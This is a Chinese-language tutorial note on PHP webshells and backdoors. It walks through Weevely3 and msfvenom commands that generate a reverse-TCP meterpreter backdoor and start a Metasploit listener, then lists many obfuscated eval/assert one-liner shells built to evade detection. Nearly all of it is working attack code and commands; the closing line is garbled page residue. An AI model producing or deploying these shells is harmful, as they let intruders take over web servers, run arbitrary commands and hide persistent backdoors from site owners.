大马：代码量大，体积大，可以和一句话木马配合使用(先传一句话后传大马)，一般同意被发现，可变形或伪装(编码、远程接入)，主要功能：文件管理、，命令执行、数据库管理、清理木马、屑木马、收集信息、提权等。
Webshell管理工具的介绍和使用：
Webshell工具主要和一句话配合使用
中国菜刀、中国蚁剑等
Weevely3生成网页木马(基于python)
python weevely.py -h
python weevely.pygenerate cmd ./backdoor.php (cmd是密码)将产生的webshell投放到目标站点中
这样就制作出了cmd为密码的后门php
weevely.pyhttp://127.0.0.1/backdoor.php cmd就能进入后门，得到shell
Backcookie后门生成工具
基于cookie的后门
(注意，要将cookie转为64位，或从前端获取)
这样页面就会直接显示获取到的
使用msf生成木马
msfvenom -h 查看帮助信息
Msfvenom --help -formats 查看能够使用format生成的类型
1、msfvenom -p php/meterpreter/reverse_tcp lohst=127.0.0.1 lport6789 -f raw >./phpbackdoor.php
然后将代码拷贝出来
2、开启msf并监听
search exploit/hanler //(exploit/multi/handle:：通用有效负载处理程序)
use exploit/multi/handler //使用模块
show options //配置
set lhost=127.0.0.1
set lport=6789
set payload php/meterpreter/reverse_tcp //设置测试的载荷
exploit -j 启动监听
3、浏览器访问木马文件
一句话变形技巧和使用
简单变形：
(1)$a=str_replace("x","","axsxxxxsxexrt");
$a($_POST["cmd"]);
(2)$_GET["k"]($_GET["v"]);
http://127.0.0.1/eee.php?k=assert&v=phpinfo();
(3)preg_replace函数
preg_replace的/e模式可以执行恶意代码(放在第二个参数里，如
preg_replace("/pen/e", '@eval("echo 1;")', "pentest");
?>
)
($code=$_POST["code"])&&
preg_replace("/pen/e",'@'.str_rot13('riny').'($code)',"pentest");
?>
(4)自定义函数create_function()：create_function(参数列表，string类型code)
$fun();
?>
(5)回调函数call_user_func()
@call_user_func(assert,$_POST['a']);
?>
call_user_func(函数名,string的code)
(6)file_put_contents函数
$test='<?php $a=$_POST["cmd"];assert($a);?>';
file_put_contents("shell.php",$test);
?>
file_put_contents("shell.php",$_GET[‘k’]);
其他方式：
PHP变量函数
$a="eval";
$a(@$_POST['a']);
?>
PHP可变变量
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>
str_replace函数
$a=str_replace("Waldo","","aWaldossert");
$a(@$_POST['a']);
?>
base64_decode函数
$a=base64_decode("ZXZhbA==");
$a($_POST['a']);
?>
$_base64_decode("YXNzZXJ0");
$_(str_rot13('riny($_CBFG[cntr]);'));
"."操作符
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
parse_str函数，将查询字符串解析到变量中
$str="a=eval";
parse_str($str);
//$a=eval
$a($_POST['a']);
?>
http://192.168.11.59/convert/th4.php?e=assert(assert可用作回调函数)
array_filter函数用回调函数过滤数组中的元素
$e=$_REQUEST['e'];
$arr=array($_POST['pass'],);
array_filter($arr,$e);
array_map函数，将函数作用到数组中的每个值上，做相应的处理，并返回带有新值的数组：
$e=$_REQUEST['e'];
$arr=array($_POST['pass'],);
array_map($e,$arr);
uasort函数，使用用户自定义的比较函数对数组$arr中的元素按键值进行排序：PHP>5.4
$e=$_REQUEST['e'];
$arr=array('test',$_REQUEST['pass']);
uasort($arr,$e);
加密类变形
if(isset($_POST['com'])&&md5($_POST['com'])=='202cb962ac59075b964b07152d234b70'&&isset($_POST['content']))$content=strtr($_POST['content'],'-_,','+/=');eval(base64_decode($content));
eval($_POST["cmd"])
/shell.phpcmd
content=JF9QT1NUWyJjbWQiXQ==
com=123
变量拼接类变形
?>
加密拼接类变形
msf生成php木马 11.7 Weevely3生成网页木马 Backcookie后门生成工具 使用msf生成木马 一句话变形技巧和使用...
